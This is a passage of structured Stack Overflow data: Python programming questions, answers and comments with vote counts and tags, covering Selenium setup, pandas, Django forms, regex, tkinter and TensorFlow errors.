has body: I have been fighting to get the Selenium Geckodriver for Firefox to work on my mac for some time, and I just can't get it to work. I have the geckodriver binary in my /usr/local/bin/ directory as the documentation indicates. When ever I try to execute the following: from selenium import webdriver browser = webdriver.Firefox() type(browser) browser.get('www.google.com')enter code here I get the following error in the Python console. Traceback (most recent call last): File "/Users/maxmorin/.thonny/BundledPython36/lib/python3.6/site- packages/selenium/webdriver/common/service.py", line 74, in start stdout=self.log_file, stderr=self.log_file) File "/Applications/Thonny.app/Contents/Frameworks/Python.framework/Versions/3.6/lib/python3.6/subprocess.py", line 707, in __init__ restore_signals, start_new_session) File "/Applications/Thonny.app/Contents/Frameworks/Python.framework/Versions/3.6/lib/python3.6/subprocess.py", line 1326, in _execute_child raise child_exception_type(errno_num, err_msg) FileNotFoundError: [Errno 2] No such file or directory: 'geckodriver' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/Users/maxmorin/Google Drive/Support Team Python Code/Max's Projects/Release Readiness/selenium_test.py", line 2, in &lt;module&gt; browser = webdriver.Firefox() File "/Users/maxmorin/.thonny/BundledPython36/lib/python3.6/site-packages/selenium/webdriver/firefox/webdriver.py", line 144, in __init__ self.service.start() File "/Users/maxmorin/.thonny/BundledPython36/lib/python3.6/site-packages/selenium/webdriver/common/service.py", line 81, in start os.path.basename(self.path), self.start_error_message) selenium.common.exceptions.WebDriverException: Message: 'geckodriver' executable needs to be in PATH.
tagged with: python
tagged with: macos

http://stackoverflow.com/comment/81003754
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47025176
type: Comment
has text: @NeoVe I think you need to read odoo documentation first. Just go through it will give you more idea https://www.odoo.com/documentation/10.0/reference/orm.html

http://stackoverflow.com/comment/80831960
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46941683
has text: @Mokshyam I tried with '# user id , userid.' and it didn't work. I am still testing with comma and without comma and it is the only problem.

http://stackoverflow.com/q/46985664
has answer: http://stackoverflow.com/a/46985739
has body: I'm stuck on a homework problem and am utterly stumped with no ideas left. I have tried different variations of code for the last 7 hours to no avail. The homework question is as follows: Write a function named shareALetter that takes one parameter, wordList -- a list of words. Create and return a dictionary in which each word in wordList is a key and the corresponding value is a list of all the words in wordList that share at least one letter with that word. There should be no duplicate words in any value in the dictionary. For example, the following is correct output: print(shareALetter(horton)) {'I': ['I'], 'say': ['say', 'what', 'mean', 'and'], 'what': ['say', 'what', 'mean', 'and'], 'mean': ['say', 'what', 'mean', 'and'], 'and': ['say', 'what', 'mean', 'and']} Below is the code that has come the closest to solving the problem: def shareALetter(wordList): shareCount = {} words=[] string='' for word in wordList: if word not in words: words.append(word) if word not in string: string += word if word not in shareCount: shareCount[word] = '' for key in shareCount: sharedWords = [] for word in words: for letter in string: if letter in word and word not in sharedWords: sharedWords.append(word) if word not in shareCount: shareCount[word]=sharedWords return(shareCount) print(shareALetter(test1)) I know this is terrible, sloppy, and inefficient with probably over a dozen issues, but I can't figure out how to fix any of the problems here. Any help would be appreciated.
tagged with: python
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/46985739
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80918852
answer count: 1
has comment: http://stackoverflow.com/comment/80918674
type: Question
has title: Make Dictionary of Strings with Common Characters

http://stackoverflow.com/q/47022573
has title: FFmpeg not working (discord.py)
has answer: http://stackoverflow.com/a/47022817
answer count: 1
tagged with: discord
type: Question
tagged with: python-3.x
tagged with: discord.py
tagged with: ffmpeg
type: UnansweredQuestion
tagged with: python
score: 0
has body: Code: channel = ctx.message.author.voice.voice_channel link = "https://youtube.com/watch?v=videoidhere" voice = await bot.join_voice_channel(channel) player = voice.create_ytdl_player(link) player.start() I'm getting this error: AttributeError: 'generator' object has no attribute 'start' Might FFmpeg be broken? If yes, I can't find a way to uninstall FFmpeg deleting the installation folder.

http://stackoverflow.com/a/46933153
has comment: http://stackoverflow.com/comment/117312686
upvote count: 12
downvote count: 0
type: Answer
has body: You can activate an environment that is not in your conda environment list by passing the path to the environment. For example you can create an environment in any directory you want with the -p argument. Like so: conda create -p /path/to/some/location/mytestenv/ python=3.5 This will NOT show up in conda env list, but you can activate it with: source activate /path/to/some/location/mytestenv
answers question: http://stackoverflow.com/q/46929791
score: 12
has comment: http://stackoverflow.com/comment/123294744

http://stackoverflow.com/comment/80796239
score: 0
comment on: http://stackoverflow.com/q/46924697
type: Comment
has text: You reset `right = 0` on every loop iteration, move that line outside the loop.
type: QuestionComment

http://stackoverflow.com/comment/80985992
comment on: http://stackoverflow.com/q/47019485
type: Comment
score: 0
type: QuestionComment
has text: No only one user model, with stuff user i mean those with is_staff flag to True

http://stackoverflow.com/q/46923917
score: -2
has answer: http://stackoverflow.com/a/46923973
has answer: http://stackoverflow.com/a/46924086
accepted answer: http://stackoverflow.com/a/46923973
tagged with: python
possible better answer: http://stackoverflow.com/a/46924086
has comment: http://stackoverflow.com/comment/80795241
tagged with: regex
has body: i would like to extract the date of birth from these text. there are four conditions: keywords to match Date of Birth date of birth: D.O.B: DOB: The strings like that: text = "my name is adam my DOB: 30-11-1988 and i play football since 20-2011" text = "my name is D.O.B: 20/MAY/1987 and i play football since 20-2011" text = "my Date of Birth 12-7-1970 and i start study since 20-2011" text = "my date of birth: 20/9/1970 "
type: AnsweredQuestion
upvote count: 0
answer count: 2
downvote count: 2
favorite count: 0
type: Question
has title: Regex to extract dates after some specified words

http://stackoverflow.com/comment/81061412
has text: Thanks. I have edited the question, some Warnings do appear. Some of them are : `autoconf` and `automake` not installed, and also `Unknown <android> provider`.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47025871

http://stackoverflow.com/comment/80996270
score: 6
has text: Try `os.getcwd()`
comment on: http://stackoverflow.com/q/47024566
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81000329
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47026351
has text: Task 1: fix the permission of the files so you are able to change the brightness without `sudo`.

http://stackoverflow.com/a/60330537
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/122137706
answers question: http://stackoverflow.com/q/46944493
type: Answer
has body: In my case I had a dataframe with multiple duplicate columns after joins and I was trying to same that dataframe in csv format, but due to duplicate column I was getting error. I followed below steps to drop duplicate columns. Code is in scala 1) Rename all the duplicate columns and make new dataframe 2) make separate list for all the renamed columns 3) Make new dataframe with all columns (including renamed - step 1) 4) drop all the renamed column private def removeDuplicateColumns(dataFrame:DataFrame): DataFrame = { var allColumns: mutable.MutableList[String] = mutable.MutableList() val dup_Columns: mutable.MutableList[String] = mutable.MutableList() dataFrame.columns.foreach((i: String) =&gt;{ if(allColumns.contains(i)) if(allColumns.contains(i)) {allColumns += "dup_" + i dup_Columns += "dup_" +i }else{ allColumns += i }println(i) }) val columnSeq = allColumns.toSeq val df = dataFrame.toDF(columnSeq:_*) val unDF = df.drop(dup_Columns:_*) unDF } to call the above function use below code and pass your dataframe which contains duplicate columns val uniColDF = removeDuplicateColumns(df)
upvote count: 2

http://stackoverflow.com/a/47031809
downvote count: 0
score: 6
upvote count: 6
type: Answer
has body: The entire solution import re from num2words import num2words def replace_ordinal_numbers(text): re_results = re.findall('(\d+(st|nd|rd|th))', text) for enitre_result, suffix in re_results: num = int(enitre_result[:-len(suffix)]) text = text.replace(enitre_result, num2words(num, ordinal=True)) return text def replace_numbers(text): re_results = re.findall('\d+', text) for term in re_results: num = int(term) text = text.replace(term, num2words(num)) return text def convert_numbers(text): text = replace_ordinal_numbers(text) text = replace_numbers(text) return text if __name__ == '__main__': assert convert_numbers('523rd') == 'five hundred and twenty-third'
has comment: http://stackoverflow.com/comment/122533912
answers question: http://stackoverflow.com/q/47015139

unicode
tags question: http://stackoverflow.com/q/47041914
tag name: unicode
type: Tag
tags question: http://stackoverflow.com/q/47003758
tags question: http://stackoverflow.com/q/47025219
tags question: http://stackoverflow.com/q/46913651
tags question: http://stackoverflow.com/q/46941712
tags question: http://stackoverflow.com/q/46999673
tags question: http://stackoverflow.com/q/46940242
tags question: http://stackoverflow.com/q/46990443
tags question: http://stackoverflow.com/q/46987013
tags question: http://stackoverflow.com/q/46994544
tags question: http://stackoverflow.com/q/46984912
tags question: http://stackoverflow.com/q/46932622
tags question: http://stackoverflow.com/q/47053931
tags question: http://stackoverflow.com/q/47062184
tags question: http://stackoverflow.com/q/46991677
tags question: http://stackoverflow.com/q/47001543
tags question: http://stackoverflow.com/q/47006311
tags question: http://stackoverflow.com/q/47008863
tags question: http://stackoverflow.com/q/47004722

http://stackoverflow.com/a/47048731
has body: You can iterate over a dictionary keys by calling &lt;dictionary_name&gt;.keys() and over the values by calling &lt;dictionary_name&gt;.values(). So, if I have understood your question correctly, below is what you want to do: a = {'A': 'u', 'u': 3} for key in a.keys(): for val in a.values(): if key == val: print key # or whatever you want to do with it after comparing
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47048483
answers question: http://stackoverflow.com/q/47048483
type: AcceptedAnswer

http://stackoverflow.com/comment/80914179
has text: Ah, I tired 'left' or 'right' but not 'edge'. That did the trick, Thanks!
type: AnswerComment
comment on: http://stackoverflow.com/a/46981785
type: Comment
score: 0

http://stackoverflow.com/comment/81004293
comment on: http://stackoverflow.com/q/47028601
has text: @coldspeed, can you pls check this one. https://stackoverflow.com/questions/47016779/creating-df-to-generate-json-in-the-given-format
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47062899
has answer: http://stackoverflow.com/a/47062945
score: 0
answer count: 2
has body: What is the purpose of this line? id, now = id+1, time.ctime() I've never seen this usage of commas in Python before and I'm not sure how to Google this. import zmq import time # ZeroMQ Context context = zmq.Context() # Define the socket using the "Context" sock = context.socket(zmq.PUSH) sock.bind("tcp://127.0.0.1:5690") id = 0 while True: time.sleep(1) id, now = id+1, time.ctime() # Message [id] - [message] message = "{id} - {time}".format(id=id, time=now) sock.send(message) print "Sent: {msg}".format(msg=message)
linked to: http://stackoverflow.com/q/5182573
has comment: http://stackoverflow.com/comment/81074122
has comment: http://stackoverflow.com/comment/81073964
has title: Why declare objects separated by commas?
type: Question
duplicate of: http://stackoverflow.com/q/5182573
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47062974
has comment: http://stackoverflow.com/comment/81074183
has comment: http://stackoverflow.com/comment/81073930
tagged with: python

http://stackoverflow.com/a/46994373
type: AcceptedAnswer
has body: Use additional frames for the top and bottom and then the frames you have go inside them in the position you want. import sys if sys.version_info[0] &lt; 3: import Tkinter as tk ## Python 2.x else: import tkinter as tk ## Python 3.x root=tk.Tk() root.geometry("300x500+1000+10") blue_frame=tk.Frame(root, bg="blue", height=100, width=200) blue_frame.grid(row=0, columnspan=2, stick="nsew") ## &lt;-- sticky=fill both columns green_frame=tk.Frame(root, bg="green", height=300, width=200) green_frame.grid(row=2, column=0) yellow_frame=tk.Frame(root, bg="yellow", height=300, width=100) yellow_frame.grid(row=2, column=1) tk.Button(root, text="Exit", bg="orange", command=root.quit).grid(row=20) root.mainloop()
answers question: http://stackoverflow.com/q/46990777
upvote count: 2
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/46990777

http://stackoverflow.com/comment/80907755
has text: is the file hidden ?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46980181
score: 0

http://stackoverflow.com/q/46993348
tagged with: python
has comment: http://stackoverflow.com/comment/80933235
has title: ModelChoiceField gives “Select a valid choice” populating select with ajax call
has comment: http://stackoverflow.com/comment/80934564
tagged with: ajax
has comment: http://stackoverflow.com/comment/80933345
type: AnsweredQuestion
has body: I've tried all possible solutions on several threads and I'm still unable to fix the problem. I have the following code: models.py class CustomerVisit(models.Model): start_date = models.DateField() end_date = models.DateField() customer = models.ForeignKey(Customer) address = models.ForeignKey(Address) forms.py address = forms.ModelChoiceField(label='Address', queryset=Address.objects.none(), widget=forms.Select(attrs={'style': 'width: 100%;'})) customer = forms.ModelChoiceField(label='Customer', queryset=Customer.objects.all(), widget=forms.Select(attrs={'style': 'width: 100%;'})) views.py if request.method == "POST": # Cleaning fields post = request.POST.copy() post['address'] = Address.objects.get(id=post['address']) post['start_date'] = dateparser.parse(post['start_date']) post['end_date'] = dateparser.parse(post['end_date']) # Updating request.POST request.POST = post form = CustomerVisitForm(request.POST) if form.is_valid(): form.save(commit=True) return redirect("customervisit:calendar") js $("#id_customer").select2({}).on("change", function () { var customer_id = $("#id_customer").val(); var id_address = $("#id_address"); id_address.select2({ ajax: { url: '/get_customer_address/' + customer_id, dataType: "json", type: "GET", data: function (params) { var queryParameters = { term: params.term } return queryParameters; }, processResults: function (data) { return { results: $.map(data, function (item) { return { text: item.text, id: item.id } }) }; } } }); }); My address select its being populated based on customer selection using ajax call using select2. After reading several threads I noticed that modelchoicefield expects a Address object so that's why I'm using the following code on my view before the form is being validated: post['address'] = Address.objects.get(id=post['address']) but I'm still getting the Select a valid choice. That choice is not one of the available choices. error I'm using queryset=Address.objects.none(), because I need an empty select
downvote count: 0
tagged with: django-forms
favorite count: 0
has answer: http://stackoverflow.com/a/56088737
type: Question
possible better answer: http://stackoverflow.com/a/56088737
has comment: http://stackoverflow.com/comment/80934094
has comment: http://stackoverflow.com/comment/80933588
has comment: http://stackoverflow.com/comment/80933653
has comment: http://stackoverflow.com/comment/80935732
answer count: 2
score: 5
has answer: http://stackoverflow.com/a/46994654
accepted answer: http://stackoverflow.com/a/46994654
upvote count: 5
tagged with: django

http://stackoverflow.com/comment/80946031
comment on: http://stackoverflow.com/q/46999673
has text: Is there an error message?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47060708
has comment: http://stackoverflow.com/comment/81069928
has comment: http://stackoverflow.com/comment/81069625
has comment: http://stackoverflow.com/comment/81069463
has comment: http://stackoverflow.com/comment/81073054
has comment: http://stackoverflow.com/comment/81070106
upvote count: 4
has body: Try This ( Normal way ): new_list = [1, "hello"] for element in new_list: if isinstance(element, str): element = element.upper() print(element) Pythonic Way : new_list = [1, "hello", "ssss"] your_data = [element.upper() for element in new_list if isinstance(element, str)] print(your_data) Another Way: new_list = [1, "hello", None] for element in new_list: if type(element) is str: element = element.upper() print(element) About Your Comment : new_list = [1, "hello", None, "hi", "book"] for counter, element in enumerate(new_list): if isinstance(element, str): new_list[counter] = element.upper() print(new_list)
has comment: http://stackoverflow.com/comment/81069475
type: Answer
has comment: http://stackoverflow.com/comment/81070292
answers question: http://stackoverflow.com/q/47060564
has comment: http://stackoverflow.com/comment/81071202
downvote count: 1
has comment: http://stackoverflow.com/comment/81437082
score: 3

http://stackoverflow.com/comment/81260203
type: AnswerComment
has text: I verified the variables contain already that. The problems is that the executable doesn't detected the cv2 (says: `ImportError: No module named cv2` Even when I launch the executable from within the virtual environment! But when I launch a normal python script it works normally!
comment on: http://stackoverflow.com/a/47073858
score: 0
type: Comment

http://stackoverflow.com/q/46923003
has comment: http://stackoverflow.com/comment/80793411
has title: Python Is Not In Array Not Working
has comment: http://stackoverflow.com/comment/80793337
has comment: http://stackoverflow.com/comment/80793389
tagged with: python
has body: I have a loop that gets company names, stores them in a array. Although sometimes the company name is posted twice and I dont want to write to the file. I check if the name is not in the array but It always returns false even if I print out the array all the values are there. if phone != None: websiteArr.append(companyName) #print(websiteArr) if companyName not in websiteArr: f.write(re.sub('\s+',' ',str(companyName)) + ',' + phone.lstrip()) print(companyName) companyName = '' phone = '' else: print('errorr') print(websiteArr) else: continue
has comment: http://stackoverflow.com/comment/80793362
has comment: http://stackoverflow.com/comment/80793392
has comment: http://stackoverflow.com/comment/80793592
has comment: http://stackoverflow.com/comment/80793390
has comment: http://stackoverflow.com/comment/80793310
type: Question
has comment: http://stackoverflow.com/comment/80793564
has comment: http://stackoverflow.com/comment/80793286
has comment: http://stackoverflow.com/comment/80793429
upvote count: 0
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80793283
downvote count: 3
tagged with: arrays
score: -3
favorite count: 0
has comment: http://stackoverflow.com/comment/80793262
has comment: http://stackoverflow.com/comment/80793313
has comment: http://stackoverflow.com/comment/80793426
has comment: http://stackoverflow.com/comment/80793384
has answer: http://stackoverflow.com/a/46923173
has comment: http://stackoverflow.com/comment/80793324

http://stackoverflow.com/comment/80830891
type: AnswerComment
has text: I just want the plain overline character, without any characters underneath it, so I need \u203e. My problem is I don't know how to fix the UnicodeEncodeError
type: Comment
comment on: http://stackoverflow.com/a/46941788
score: 0

http://stackoverflow.com/comment/83566717
score: 0
type: Comment
type: AnswerComment
has text: Please post complete code (answer) instead of posting instead of single line comment.
comment on: http://stackoverflow.com/a/48290626

http://stackoverflow.com/q/46996866
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/50135046
has title: Sampling Uniformly within the Unit Circle
upvote count: 5
has answer: http://stackoverflow.com/a/50135046
tagged with: python
accepted answer: http://stackoverflow.com/a/46996898
has body: I want to sample a two-dimensional vector x from a uniform distribution with ∥x∥ ≤ 1. I know I can sample from a uniform distribution as numpy.random.uniform(0.0, 1.0, 2) but how can I make sure ∥x∥ ≤ 1?
favorite count: 0
has answer: http://stackoverflow.com/a/46996898
type: Question
answer count: 2
score: 5
tagged with: uniform-distribution
downvote count: 0

http://stackoverflow.com/comment/80935196
comment on: http://stackoverflow.com/q/46994317
has text: Also, I guess `false` should be `False` and any `str` *always* starts with `""` by definition.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/46957345
upvote count: 3
score: 3
type: Answer
has comment: http://stackoverflow.com/comment/80862114
downvote count: 0
has body: my_list is a list of strings. &gt;&gt;&gt; '4' != 4 True The string '4' is not equivalent to the integer 4. &gt;&gt;&gt; my_list = input("Enter a list of numbers separated by space") 1 42 3 5 4 &gt;&gt;&gt; my_list = my_list.split(' ') &gt;&gt;&gt; my_list ['1', '42', '3', '5', '4'] &gt;&gt;&gt; for i in my_list: ... if i == 4: ... print("It's 4!") &gt;&gt;&gt; for i in my_list: ... if int(i) == 4: ... print("It's 4!") It's 4! You need to convert i to an int in your check for equality with 4. You can do this with the function int. The other alternative is to map int over the list of strings. &gt;&gt;&gt; for i in map(int, my_list): ... if i == 4: ... print("It's 4!") It's 4!
answers question: http://stackoverflow.com/q/46957218
has comment: http://stackoverflow.com/comment/80862161

http://stackoverflow.com/q/47020074
tagged with: pandas
upvote count: 3
score: 3
tagged with: dataframe
favorite count: 0
type: Question
tagged with: python-3.x
answer count: 2
accepted answer: http://stackoverflow.com/a/47020409
has body: I want to get boolean values for a new column based on existing columns for each row, a sample dataframe is, key doc_no_list amount date doc_no a1 [1,2] 1.0 2017-10-01 1 a2 [2,1] 1.0 2017-10-01 2 a3 [3] 2.0 2017-10-02 3 a4 [4,5] 3.0 2017-10-03 4 a5 [5,4] 3.0 2017-10-04 5 a6 [2,6] 4.0 2017-10-05 2 a7 [6,2] 4.0 2017-10-05 6 for rows with keys a1 and a2, their doc_no (not unique) are put in a list [1,2] or [2,1] (this list has been keeping unique, i.e. no duplicate doc_no), since they have the same amount value. Now, for doc_no_list values whose sizes > 1, I want to check if the rows corresponding to each doc_no in each doc_no_list have the same date and amount values, if they do, put True in a new column same_date. So a result dataframe should look like, key doc_no_list amount date doc_no same_date a1 [1,2] 1.0 2017-10-01 1 True a2 [2,1] 1.0 2017-10-01 2 True a3 [3] 2.0 2017-10-02 3 nan a4 [4,5] 3.0 2017-10-03 4 False a5 [5,4] 3.0 2017-10-04 5 False a6 [2,6] 4.0 2017-10-05 2 True a7 [6,2] 4.0 2017-10-05 6 True I am wondering whats the best way to do this.
has answer: http://stackoverflow.com/a/47020409
has answer: http://stackoverflow.com/a/47020495
downvote count: 0
has title: pandas getting boolean values for a new column in terms of existing columns for each row
tagged with: python
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47020495

http://stackoverflow.com/comment/81042035
score: 0
comment on: http://stackoverflow.com/a/47047255
type: Comment
has text: Actually, I copy that html code in a page using copy xpath
type: AnswerComment

fabric
tags question: http://stackoverflow.com/q/47030269
tags question: http://stackoverflow.com/q/46980543
tags question: http://stackoverflow.com/q/46951657
tags question: http://stackoverflow.com/q/46981928
tag name: fabric
type: Tag

http://stackoverflow.com/comment/81056215
type: Comment
type: AnswerComment
score: 0
has text: Ideally, I would like the aggregation to figure out if there is a 1:1 relationship between the index value and the column value, and therefore only create a column of sets if it is necessary. Of course this can be done in postprocessing, by checking if the result column contains only sets of size 1 and then converting them back to values. But that's a lot of manual coding, I would expect pandas to have a more concise way.
comment on: http://stackoverflow.com/a/47054542

http://stackoverflow.com/comment/105749734
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/46921488
has text: ```extracted = df['TEXT'].str.findall('(' + '|'.join(word_list) + ')', flags=re.IGNORECASE) df['EXTRACT'] = extracted.str.join(',')```
score: 0

http://stackoverflow.com/comment/80849617
score: 0
comment on: http://stackoverflow.com/q/46950177
type: QuestionComment
type: Comment
has text: @Jean-FrançoisFabre easier to use `format(0xBEEF, 'x')`...

http://stackoverflow.com/a/47027086
score: 0
answers question: http://stackoverflow.com/q/47027012
type: AcceptedAnswer
has body: There are missing commas in the last value. [[1,0][1,0][1,0]]]}' This should be: [[1,0],[1,0],[1,0]]]}' When fixed, you get: &gt;&gt;&gt; import json &gt;&gt;&gt; foo = '{"key1":true,"key2":[1,1,1],"key3":[[["name1",0],["name2",0]],[[1,0],[1,0],[1,0]]]}' &gt;&gt;&gt; json.loads(foo) {u'key3': [[[u'name1', 0], [u'name2', 0]], [[1, 0], [1, 0], [1, 0]]], u'key2': [1, 1, 1], u'key1': True} &gt;&gt;&gt;
type: Answer
accepted answer of: http://stackoverflow.com/q/47027012

http://stackoverflow.com/a/46918669
upvote count: 2
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/46916333
has body: Another approach using pandas merge: df_a.loc[pd.merge(df_a, df_b, on = ['id', 'sku'] , how='left', indicator=True)['_merge'] == 'both', 'quantity'] = 0 df_a id sku quantity 0 10 12345 0 1 15 78910 0 2 8 23456 10
type: Answer

http://stackoverflow.com/a/47020002
accepted answer of: http://stackoverflow.com/q/46926077
downvote count: 0
type: Answer
has body: It looks like your curl command is fine but the issue is that you are not keeping up with the volume on the stream. This causes a data buffer on the server side to completely fill, which triggers a 'forced disconnect' from the server. Fundamental recommendation is to make sure you have the bandwidth to stream that data volume. Often these forced disconnects are caused by processing bottlenecks in the client application. However, you are using curl, which is extremely efficient... curl is typically recommended to take the client side app out of the loop and to test the underlying bandwidth... Seems that you were on a trial of the decahose product... reach out to account manager to discuss next steps there. Thanks!
answers question: http://stackoverflow.com/q/46926077
score: 2
type: AcceptedAnswer
upvote count: 2

http://stackoverflow.com/comment/81044725
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47037375
type: QuestionComment
has text: How would I limit it to distinct tickers? All the tickers are in the same table, but I want to calculate the average and stuff for distinct tickers so I can query which ticker is relevant for me.

http://stackoverflow.com/comment/89220979
type: AnswerComment
comment on: http://stackoverflow.com/a/47103718
has text: you can use `pip show spotipy` and reference the "Location" path to find where the package is installed
type: Comment
score: 4

http://stackoverflow.com/comment/80796994
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/46924058
has text: it give an error : NameError at /accounts/register/ name 'honeygen' is not defined exception location : in my hashers.py file line 50 . this line : sweetwords.extend(honeygen.gen(password, base64, ["passfiles.txt"])) i posted my def encode codes as well @mohammedqudah
type: Comment

http://stackoverflow.com/comment/80866841
has text: What is the _full_ error message?
comment on: http://stackoverflow.com/q/46959659
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80876990
has text: Visual: https://regex101.com/
comment on: http://stackoverflow.com/q/46964461
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80972132
score: 0
type: Comment
type: QuestionComment
has text: @SachinKukreja But it is working properly. There is only a problem with DRF doc. For instance in Swagger I don't have any problem with it.
comment on: http://stackoverflow.com/q/47012130

http://stackoverflow.com/comment/81011761
score: 0
type: QuestionComment
type: Comment
has text: what's the datatype of T_Start column ?
comment on: http://stackoverflow.com/q/47032118

http://stackoverflow.com/comment/80776792
type: Comment
type: QuestionComment
has text: KeyError: 'EID'
comment on: http://stackoverflow.com/q/46914781
score: 0

http://stackoverflow.com/a/46968192
accepted answer of: http://stackoverflow.com/q/46968007
score: 4
answers question: http://stackoverflow.com/q/46968007
has body: Import statements should usually be at the top of a python file (convention). According to convention, you should group classes with similar intentions and requirements together in one file. When you import a library, all classes in the file can use them. If a certain class does not need similar imports, or needs a lot of libraries imported which other classes do not need, it should, technically, be in a different file, and the file can be imported and instantiated. Import statements in functions won't do any harm (apart from a very minimal delay time if run repeatedly), although, as @Evert said, can be a pain to the user experience if they fail.
type: Answer
upvote count: 4
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47013889
accepted answer: http://stackoverflow.com/a/47055486
upvote count: 3
has answer: http://stackoverflow.com/a/47014361
downvote count: 0
has answer: http://stackoverflow.com/a/47055486
favorite count: 0
tagged with: cx-freeze
type: AnsweredQuestion
score: 3
tagged with: sqlite
tagged with: python
has comment: http://stackoverflow.com/comment/81011436
tagged with: exe
type: Question
has body: Program makes appointments and places them into schedule which are written in QsQLite database. The program runs from .py but I need it to be in .exe. I have used cx_Freeze to create an .exe file, but the program does not generate the SQLite database. So here is my setup file: from cx_Freeze import setup, Executable import os import sys os.environ['TCL_LIBRARY'] = r'C:\Program Files\Python35\tcl\tcl8.6' os.environ['TK_LIBRARY'] = r'C:\Program Files\Python35\tcl\tk8.6' build_exe_options = {"packages": [ 'os','sys','sqlite3'], 'include_files': [os.path.join(sys.base_prefix, 'DLLs', 'sqlite3.dll'), 'main.py','util.py','data.db']} setup( name = "Eclients", version = "0.1", options = {"build_exe": build_exe_options}, executables = [Executable("main.py")] ) But database can't be opened So,how it can be solved?
has title: Build a .exe file from .py with SQLite database
answer count: 2
possible better answer: http://stackoverflow.com/a/47014361

http://stackoverflow.com/q/47063369
has body: I'm having trouble creating an array of strings that takes a JSON Object when I send POST request like below: { "inList" : [ { "smarter" : [ "Einstein", "Feynmann" ] }, { "smarter" : [ "Feynmann","Gell-Mann"]}, { "smarter": [ "Gell-Mann","Thorne"]}, { "smarter" : [ "Einstein","Lorentz"]}, { "smarter" : [ "Lorentz","Planck"]}, { "smarter" : [ "Hilbert","Noether"]}, { "smarter" : [ "Poincare","Noether"]} ]} I'm trying to sort the names so that anyone who appears in the first element of the smarter pair will have their name printed before in the response output. from flask import Flask from flask import request import json app = Flask(__name__) @app.route('/postjson', methods = ['POST']) def postJsonHandler(self): candidates = set() nodes = {} sorted = [] self.incoming = set() self.outgoing = set() if request.json: smarter[] = json.loads(inList['smarter']) for l in smarter[]: p1,p2 = tuple([s.strip() for s in l.split(":")]) if p1 not in nodes: nodes[p1] = Node() if p2 not in nodes: nodes[p2] = Node() nodes[p1].outgoing.add(p2) nodes[p2].incoming.add(p1) if len(nodes[p1].incoming)==0: candidates.add(p1) candidates.discard(p2) while len(candidates)&gt;0: candidate = candidates.pop() sorted.append(candidate) while len(nodes[candidate].outgoing)&gt;0: out = nodes[candidate].outgoing.pop() nodes[out].incoming.remove(candidate) if len(nodes[out].incoming)==0: candidates.add(out) print sortedhello return sortedhello(['smarter']) else: return "no json" app.run(host='0.0.0.0', port= 8090)
downvote count: 1
has comment: http://stackoverflow.com/comment/81076314
favorite count: 0
has title: Convert JSON POST Object to Array of Strings in Python
type: Question
has comment: http://stackoverflow.com/comment/81076404
has comment: http://stackoverflow.com/comment/81074964
tagged with: python
tagged with: flask
tagged with: post
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81074984
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/json
tagged with: arrays
upvote count: 1

http://stackoverflow.com/comment/80943370
has text: There is no error message. The code can run smoothly. The image can be update if I remove last four lines of code and run PTest() directly.
comment on: http://stackoverflow.com/q/46996927
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81025909
score: 0
comment on: http://stackoverflow.com/q/47039417
type: Comment
type: QuestionComment
has text: After loading the config you can loop over the app.config keys using a separate 'config_constants' file?

http://stackoverflow.com/q/46941747
possible better answer: http://stackoverflow.com/a/46956183
tagged with: python
has title: Tensorflow Error: "Cannot parse tensor from proto"
has body: I am creating a deep CNN with tensorflow. I have already created the architecture, and now I am in the process of training. When I begin to train the model, I use the command: sess.run(tf.global_variables_initializer()) When this command is called, I get the error located below. My intuition tells me that maybe the tensor shape is too large to parse/initialize. I have researched this error and there seems to be little documentation online. Does this error give enough information to tell what the problem is? Thank you. 2017-10-25 15:07:54.252194: W C:\tf_jenkins\home\workspace\rel- win\M\windows\PY\35\tensorflow\core\framework\op_kernel.cc:1182] Invalid argument: Cannot parse tensor from proto: dtype: DT_FLOAT tensor_shape { dim { size: 16 } dim { size: 16 } dim { size: 7 } dim { size: 3298 } dim { size: 3298 } } float_val: 0 2017-10-25 15:07:54.252767: E C:\tf_jenkins\home\workspace\rel- win\M\windows\PY\35\tensorflow\core\common_runtime\executor.cc:644] Executor failed to create kernel. Invalid argument: Cannot parse tensor from proto: dtype: DT_FLOAT tensor_shape { dim { size: 16 } dim { size: 16 } dim { size: 7 } dim { size: 3298 } dim { size: 3298 } } float_val: 0 [[Node: Variable_737/Adam_1/Initializer/zeros = Const[_class= ["loc:@Variable_737"], dtype=DT_FLOAT, value=<Invalid TensorProto: dtype: DT_FLOAT tensor_shape { dim { size: 16 } dim { size: 16 } dim { size: 7 } dim { size: 3298 } dim { size: 3298 } } float_val: 0>, _device="/job:localhost/replica:0/task:0/cpu:0"]()]] 2017-10-25 15:07:54.320979: W C:\tf_jenkins\home\workspace\rel- win\M\windows\PY\35\tensorflow\core\framework\op_kernel.cc:1182] Invalid argument: Cannot parse tensor from proto: dtype: DT_FLOAT tensor_shape 